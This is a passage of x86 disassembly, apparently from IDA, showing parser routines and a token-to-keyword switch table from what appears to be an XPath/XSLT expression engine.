		jz	short loc_69B606B0


loc_69B60713:				; CODE XREF: sub_69B60689+60j
					; sub_69B60689+74j
		cmp	[ebp+var_8], edx
		jnz	short loc_69B60727
		push	edx
		push	edx
		push	ebx
		push	0C00CE603h
		mov	ecx, esi
		call	sub_69B62488


loc_69B60727:				; CODE XREF: sub_69B60689+8Dj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	ebx, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60622
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B60753
		push	eax
		push	eax
		push	ebx
		push	0C00CE603h
		mov	ecx, esi
		call	sub_69B62488


loc_69B60753:				; CODE XREF: sub_69B60689+B9j
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B69D37
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_8], ecx
		xor	edx, edx
		jmp	loc_69B606B0
; ---------------------------------------------------------------------------


loc_69B60774:				; CODE XREF: sub_69B60689+32j
					; sub_69B60689+49j
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60689	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60781	proc near		; CODE XREF: sub_69B60828+1Ap
					; sub_69B60828+A6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60689
		mov	[ebp+var_4], eax


loc_69B607A3:				; CODE XREF: sub_69B60781+98j
		mov	eax, [esi+20h]
		cmp	eax, 2Bh
		jz	short loc_69B607B0
		cmp	eax, 2Dh
		jnz	short loc_69B6081B


loc_69B607B0:				; CODE XREF: sub_69B60781+28j
		xor	eax, eax
		cmp	[ebp+var_4], eax
		jnz	short loc_69B607C6
		push	eax
		push	eax
		push	edi
		push	0C00CE603h
		mov	ecx, esi
		call	sub_69B62488


loc_69B607C6:				; CODE XREF: sub_69B60781+34j
		xor	eax, eax
		cmp	dword ptr [esi+20h], 2Bh
		mov	ecx, esi
		setnz	al
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60689
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B607FF
		push	eax
		push	eax
		push	edi
		push	0C00CE603h
		mov	ecx, esi
		call	sub_69B62488


loc_69B607FF:				; CODE XREF: sub_69B60781+6Dj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_69B69D37
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_4], ecx
		jmp	short loc_69B607A3
; ---------------------------------------------------------------------------


loc_69B6081B:				; CODE XREF: sub_69B60781+2Dj
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60781	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60828	proc near		; CODE XREF: sub_69B60916+1Ap
					; sub_69B60916+80p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60781
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx


loc_69B6084F:				; CODE XREF: sub_69B60828+92j
					; sub_69B60828+DCj
		mov	eax, [esi+20h]
		cmp	eax, 3Ch
		jz	short loc_69B6086A
		cmp	eax, 0FFFFFFF8h
		jz	short loc_69B6086A
		cmp	eax, 3Eh
		jz	short loc_69B6086A
		cmp	eax, 0FFFFFFF7h
		jnz	loc_69B60909


loc_69B6086A:				; CODE XREF: sub_69B60828+2Dj
					; sub_69B60828+32j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_69B6087E
		push	ebx
		push	ebx
		push	edi
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B6087E:				; CODE XREF: sub_69B60828+45j
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFF7h
		jz	short loc_69B608B0
		cmp	eax, 0FFFFFFF8h
		jz	short loc_69B608A7
		cmp	eax, 3Ch
		jz	short loc_69B6089E
		cmp	eax, 3Eh
		jnz	short loc_69B608B7
		mov	[ebp+var_4], 4
		jmp	short loc_69B608BC
; ---------------------------------------------------------------------------


loc_69B6089E:				; CODE XREF: sub_69B60828+66j
		mov	[ebp+var_4], 1
		jmp	short loc_69B608BC
; ---------------------------------------------------------------------------


loc_69B608A7:				; CODE XREF: sub_69B60828+61j
		mov	[ebp+var_4], 3
		jmp	short loc_69B608BC
; ---------------------------------------------------------------------------


loc_69B608B0:				; CODE XREF: sub_69B60828+5Cj
		mov	[ebp+var_4], 6


loc_69B608B7:				; CODE XREF: sub_69B60828+6Bj
		cmp	[ebp+var_4], ebx
		jz	short loc_69B6084F


loc_69B608BC:				; CODE XREF: sub_69B60828+74j
					; sub_69B60828+7Dj ...
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60781
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B608E8
		push	eax
		push	eax
		push	edi
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B608E8:				; CODE XREF: sub_69B60828+AFj
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B69E36
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_8], ecx
		xor	ebx, ebx
		jmp	loc_69B6084F
; ---------------------------------------------------------------------------


loc_69B60909:				; CODE XREF: sub_69B60828+3Cj
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60828	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60916	proc near		; CODE XREF: sub_69B609DE+19p
					; sub_69B609DE+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60828
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx


loc_69B6093D:				; CODE XREF: sub_69B60916+6Cj
					; sub_69B60916+B6j
		mov	eax, [esi+20h]
		cmp	eax, 3Dh
		jz	short loc_69B6094E
		cmp	eax, 0FFFFFFF9h
		jnz	loc_69B609D1


loc_69B6094E:				; CODE XREF: sub_69B60916+2Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_69B60962
		push	ebx
		push	ebx
		push	edi
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B60962:				; CODE XREF: sub_69B60916+3Bj
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFF9h
		jz	short loc_69B60978
		cmp	eax, 3Dh
		jnz	short loc_69B6097F
		mov	[ebp+var_4], 2
		jmp	short loc_69B60984
; ---------------------------------------------------------------------------


loc_69B60978:				; CODE XREF: sub_69B60916+52j
		mov	[ebp+var_4], 5


loc_69B6097F:				; CODE XREF: sub_69B60916+57j
		cmp	[ebp+var_4], ebx
		jz	short loc_69B6093D


loc_69B60984:				; CODE XREF: sub_69B60916+60j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60828
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B609B0
		push	eax
		push	eax
		push	edi
		push	0C00CE606h
		mov	ecx, esi
		call	sub_69B62488


loc_69B609B0:				; CODE XREF: sub_69B60916+89j
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B69E36
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_8], ecx
		xor	ebx, ebx
		jmp	loc_69B6093D
; ---------------------------------------------------------------------------


loc_69B609D1:				; CODE XREF: sub_69B60916+32j
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B609DE	proc near		; CODE XREF: sub_69B60A82+1Dp
					; sub_69B60A82+57p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+1Ch]
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B60916
		cmp	dword ptr [esi+20h], 0FFFFFFFCh
		mov	[ebp+var_4], eax
		jnz	short loc_69B60A76
		push	ebx
		mov	ebx, 0C00CE606h


loc_69B60A0B:				; CODE XREF: sub_69B609DE+95j
		xor	eax, eax
		cmp	[esi+2Ch], eax
		jnz	short loc_69B60A75
		mov	ecx, [esi+30h]
		cmp	ecx, dword_69B9B2C8
		jnz	short loc_69B60A75
		cmp	[ebp+var_4], eax
		jnz	short loc_69B60A2D
		push	eax
		push	eax
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B62488


loc_69B60A2D:				; CODE XREF: sub_69B609DE+42j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B60916
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B60A56
		push	eax
		push	eax
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B62488


loc_69B60A56:				; CODE XREF: sub_69B609DE+6Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B69F0C
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		cmp	dword ptr [esi+20h], 0FFFFFFFCh
		mov	[ebp+var_4], ecx
		jz	short loc_69B60A0B


loc_69B60A75:				; CODE XREF: sub_69B609DE+32j
					; sub_69B609DE+3Dj
		pop	ebx


loc_69B60A76:				; CODE XREF: sub_69B609DE+25j
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B609DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B60A82	proc near		; DATA XREF: .text:69B12BB8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		inc	dword ptr [esi+50h]
		push	edi
		mov	edi, [esi+1Ch]
		call	sub_69B5EA61
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B609DE
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	ebx, 0C00CE606h
		jz	short loc_69B60B0B


loc_69B60AB0:				; CODE XREF: sub_69B60A82+87j
		cmp	dword ptr [esi+20h], 0FFFFFFFCh
		jnz	short loc_69B60B0B
		cmp	dword ptr [esi+2Ch], 0
		jnz	short loc_69B60B0B
		mov	eax, [esi+30h]
		cmp	eax, dword_69B9B2C0
		jnz	short loc_69B60B0B
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	[ebp+arg_4]
		mov	edi, [esi+1Ch]
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B609DE
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_69B60AF0
		push	eax
		push	eax
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B62488


loc_69B60AF0:				; CODE XREF: sub_69B60A82+61j
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B69FA2
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp+var_4], ecx
		jnz	short loc_69B60AB0


loc_69B60B0B:				; CODE XREF: sub_69B60A82+2Cj
					; sub_69B60A82+32j ...
		dec	dword ptr [esi+50h]
		xor	eax, eax
		cmp	[ebp+var_4], eax
		jnz	short loc_69B60B20
		push	eax
		push	eax
		push	edi
		push	ebx
		mov	ecx, esi
		call	sub_69B62488


loc_69B60B20:				; CODE XREF: sub_69B60A82+91j
		dec	dword ptr [esi+48h]
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B60A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B60B2D	proc near		; CODE XREF: sub_69B3D903:loc_69B3D93Fp
					; DATA XREF: .text:69B12B4Co
		mov	eax, offset off_69B60B38
		retn
sub_69B60B2D	endp

; ---------------------------------------------------------------------------
		align 8
off_69B60B38	dd offset dword_69B18894 ; DATA	XREF: sub_69B60B2Do
		dd offset sub_69B6860C
; ---------------------------------------------------------------------------


loc_69B60B40:				; CODE XREF: .text:69B5EFFFj
					; DATA XREF: .text:off_69B12B30o ...
		push	20h
		push	offset dword_69B60C28
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B60B65
		mov	eax, 80004005h
		jmp	loc_69B60C20
; ---------------------------------------------------------------------------


loc_69B60B65:				; CODE XREF: .text:69B60B59j
		push	0
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B60BBE
		push	4
		pop	ecx
		mov	edi, offset dword_69B60C34
		mov	esi, [ebp+0Ch]
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B60BBE
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_69B2D67E
		mov	[ebp-2Ch], eax
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-2Ch]
		jmp	short loc_69B60C20
; ---------------------------------------------------------------------------


loc_69B60BBE:				; CODE XREF: .text:69B60B82j
					; .text:69B60B93j
		mov	esi, [ebp+8]
		lea	eax, [esi+8]
		neg	esi
		sbb	esi, esi
		and	esi, eax
		mov	[ebp-30h], esi
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+10h]
		mov	[eax], esi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		xor	eax, eax
		jmp	short loc_69B60C20
; ---------------------------------------------------------------------------


loc_69B60BEF:				; DATA XREF: .text:69B60C2Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B60BF8:				; DATA XREF: .text:69B60C30o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi


loc_69B60C20:				; CODE XREF: .text:69B60B60j
					; .text:69B60BBCj ...
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
dword_69B60C28	dd 0FFFFFFFFh			dd offset loc_69B60BEF
		dd offset loc_69B60BF8
dword_69B60C34	dd 57B4B692h, 11D32388h, 8000398Eh, 99C1ACC7h
; =============== S U B	R O U T	I N E =======================================



sub_69B60C44	proc near		; CODE XREF: sub_69B6EA8E+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B60C51
		mov	eax, [eax+0Ch]
		jmp	short loc_69B60C53
; ---------------------------------------------------------------------------


loc_69B60C51:				; CODE XREF: sub_69B60C44+6j
		xor	eax, eax


loc_69B60C53:				; CODE XREF: sub_69B60C44+Bj
		push	[esp+arg_C]
		mov	edx, [ecx]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	eax
		call	dword ptr [edx+38h]
		retn	10h
sub_69B60C44	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B60C68	proc near		; CODE XREF: sub_69B5F881+Bp
					; sub_69B6229B+11p ...
		push	esi
		mov	esi, ecx
		xor	eax, eax
		jmp	short loc_69B60C80
; ---------------------------------------------------------------------------


loc_69B60C6F:				; CODE XREF: sub_69B60C68+1Fj
		push	eax
		call	sub_69B2ECB4
		test	eax, eax
		jz	short loc_69B60C89
		mov	ecx, esi
		call	sub_69B5EA78


loc_69B60C80:				; CODE XREF: sub_69B60C68+5j
		mov	ax, [esi+0Eh]
		test	ax, ax
		jnz	short loc_69B60C6F


loc_69B60C89:				; CODE XREF: sub_69B60C68+Fj
		pop	esi
		retn
sub_69B60C68	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B60C8B	proc near		; CODE XREF: sub_69B61B61+5p
					; sub_69B61B61+13p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 0FFFFFFD8h
		jg	loc_69B60EC3
		jz	loc_69B60EB9
		add	eax, 70h	; switch 71 cases
		cmp	eax, 46h
		ja	loc_69B61158	; default
					; jumptable 69B60CAA cases -87,-80,-77,-76,-73,-72,-59,-57,-55,-50--47,-45
					; jumptable 69B60EDE cases -37,-29--27
		jmp	ds:off_69B6118A[eax*4] ; switch	jump


loc_69B60CB1:				; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aAnd ; jumptable 69B60CAA case -63
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CBB:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aOr	; jumptable 69B60CAA case -64
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CC5:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNot ; jumptable 69B60CAA case -65
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CCF:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aTextnode ;	jumptable 69B60CAA case	-56
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CD9:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNodetype ;	jumptable 69B60CAA case	-42
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CE3:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNodename ;	jumptable 69B60CAA case	-43
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CED:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aIndex ; jumptable 69B60CAA	case -44
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60CF7:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aEnd ; jumptable 69B60CAA case -46
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D01:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aAncestor ;	jumptable 69B60CAA cases -66,-51
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D0B:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aId	; jumptable 69B60CAA case -58
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D15:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNumber ; jumptable	69B60CAA cases -93,-52
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D1F:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aString ; jumptable	69B60CAA cases -91,-54
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D29:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aDate ; jumptable 69B60CAA case -53
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D33:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aAny ; jumptable 69B60CAA case -60
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D3D:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aAll ; jumptable 69B60CAA case -61
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D47:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aContext ; jumptable 69B60CAA case -62
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D51:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aAncestorOrSelf ; jumptable	69B60CAA case -67
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D5B:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aChild ; jumptable 69B60CAA	case -69
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D65:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aDescendant	; jumptable 69B60CAA case -70
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D6F:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aDescendantOrSe ; jumptable	69B60CAA case -71
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D79:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNamespace ; jumptable 69B60CAA case -74
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D83:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aParent ; jumptable	69B60CAA case -75
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D8D:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aSelf ; jumptable 69B60CAA case -78
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60D97:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset asc_69B61380 ; jumptable 69B60CAA case -79
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DA1:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aDiv ; jumptable 69B60CAA case -81
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DAB:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aMod ; jumptable 69B60CAA case -82
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DB5:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aProcessingInst ; jumptable	69B60CAA case -83
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DBF:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aLast ; jumptable 69B60CAA case -84
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DC9:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aPosition ;	jumptable 69B60CAA case	-85
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DD3:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aCount ; jumptable 69B60CAA	case -86
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DDD:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aLocalName ; jumptable 69B60CAA case -88
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DE7:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aNamespaceUri ; jumptable 69B60CAA case -89
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DF1:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aName ; jumptable 69B60CAA case -90
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60DFB:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aBoolean ; jumptable 69B60CAA case -92
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E05:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aTrue ; jumptable 69B60CAA case -94
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E0F:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aFalse ; jumptable 69B60CAA	case -95
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E19:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aCurrent ; jumptable 69B60CAA case -97
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E23:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aSystemProperty ; jumptable	69B60CAA case -98
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E2D:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset word_69B26224 ; jumptable 69B60CAA case -99
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E37:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aFunctionAvaila ; jumptable	69B60CAA case -101
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E41:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aElementAvailab ; jumptable	69B60CAA case -100
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E4B:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aFormatNumber ; jumptable 69B60CAA case -102
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E55:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aFormatnumber ; jumptable 69B60CAA case -103
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E5F:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aConcat ; jumptable	69B60CAA case -104
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E69:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aStartsWith	; jumptable 69B60CAA case -105
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E73:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
		mov	eax, offset aContains ;	jumptable 69B60CAA case	-106
		jmp	locret_69B61187
; ---------------------------------------------------------------------------


loc_69B60E7D:				; CODE XREF: sub_69B60C8B+1Fj
					; DATA XREF: .text:off_69B6118Ao
